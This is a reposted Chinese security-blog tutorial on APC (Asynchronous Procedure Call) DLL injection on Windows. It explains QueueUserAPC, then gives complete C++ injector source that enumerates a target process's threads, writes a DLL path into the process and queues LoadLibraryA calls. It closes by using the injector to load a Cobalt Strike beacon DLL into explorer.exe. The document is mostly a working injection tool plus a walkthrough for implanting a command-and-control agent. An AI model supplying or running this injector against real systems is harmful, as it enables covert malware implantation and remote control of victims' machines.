本文轉載自平台:先知社區
原文連結:https://xz.aliyun.com/t/11572
作者:MCY5
什麼是APC
APC 是一個簡稱,全稱為Asynchronous Procedure Call,叫異步過程調用,是指函數在特定線程中被異步執行,在作業系統中,APC是一種並發機制。
MSDN解釋為:
相關函數
QueueUserApc:函數作用,添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中
APCproc:函數作用: 回調函數的寫法.
核心函數
QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhTHREAD, // HANDLE to thread
ULONG_PTRdwData // APC function parameter
);
參數1表示執行函數的地址,當開始執行該APC的時候,程序會跳轉到該函數地址處來執行。
參數2表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權限。
參數3表示傳遞給執行函數的參數,與遠線程注入類似,如果QueueUserAPC 的第一個參數為LoadLibraryA,第三個參數設置的是dll路徑即可完成dll注入。
【——全網最全的網絡安全學習資料包分享給愛學習的你,關注我,私信回復「領取」獲取——】
1.網絡安全多個方向學習路線
2.全網最全的CTF入門學習資料
3.一線大佬實戰經驗分享筆記
4.網安大廠面試題合集
5.紅藍對抗實戰技術秘籍
6.網絡安全基礎入門、Linux、web安全、滲透測試方面視頻
實現原理
往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程式產生的APC被稱為用戶模式APC
介紹一下應用程式的APC
APC是往線程中插入一個回調函數,但是用的APC調用這個回調函數是有條件的.在Msdn的寫法如下
上面說到要要使用SleepEx,signalObjectAndWait.....等等這些函數才會觸發。
這就有了APC注入的條件:
1.必須是多線程環境下
2.注入的程序必須會調用上面的那些同步對象.
注入方法原理
1.當對面程序執行到某一個上面的等待函數的時候,系統會產生一個中斷
2.當線程喚醒的時候,這個線程會優先去Apc隊列中調用回調函數
3.我們利用QueueUserApc,往這個隊列中插入一個回調
4.插入回調的時候,把插入的回調地址改為LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,並且寫入進去
使用方法
1.利用快照枚舉所有的線程
2.寫入遠程內存,寫入的是Dll的路徑
3.插入我們的DLL即可
實現過程
編寫一個根據進程名獲取PID的函數,然後根據PID獲取所有的線程ID,這裡我就將兩個函數集合在一起,通過自己輸入PID來獲取指定進程的線程並寫入數組
//列出指定進程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結構的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍歷所有THREADENTRY32結構, 按順序填入數組
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
然後是apc注入的主函數,首先使用VirtualAllocEx遠程申請內存
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請內存
Pvoid lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑複製到內存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷線程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
使用WriteProcessMemory把dll路徑寫入內存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
獲取LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
便利線程並插入APC,這裡定義一個fail並進行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
主函數,定義dll地址
strcpy_s(wzDllFullPath, "加載要注入的dll的路徑");
使用OpenProcess打開句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
調用前面寫好的APCInject函數實現APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
採用手動輸入的方式,通過cin >> ulProcessID將接收到的參數賦給ulProcessID
利用此方法上線CS
完整代碼
// inject3.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
CHAR szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定進程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結構的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍歷所有THREADENTRY32結構, 按順序填入數組
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請內存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑複製到內存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷線程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "加載要注入的dll的路徑");
#else // _WIN64
strcpy_s(wzDllFullPath, "加載要注入的dll的路徑");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打開句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
上線cs
首先CS建立監聽,生成一個惡意dll文件
在目標機上運行編譯好的exe文件,並輸入要注入進程的PID,這裡我使用explorer.exe測試
編譯,輸入PID
查看CS,已經成功上線,且進程也加載了beacon.dll.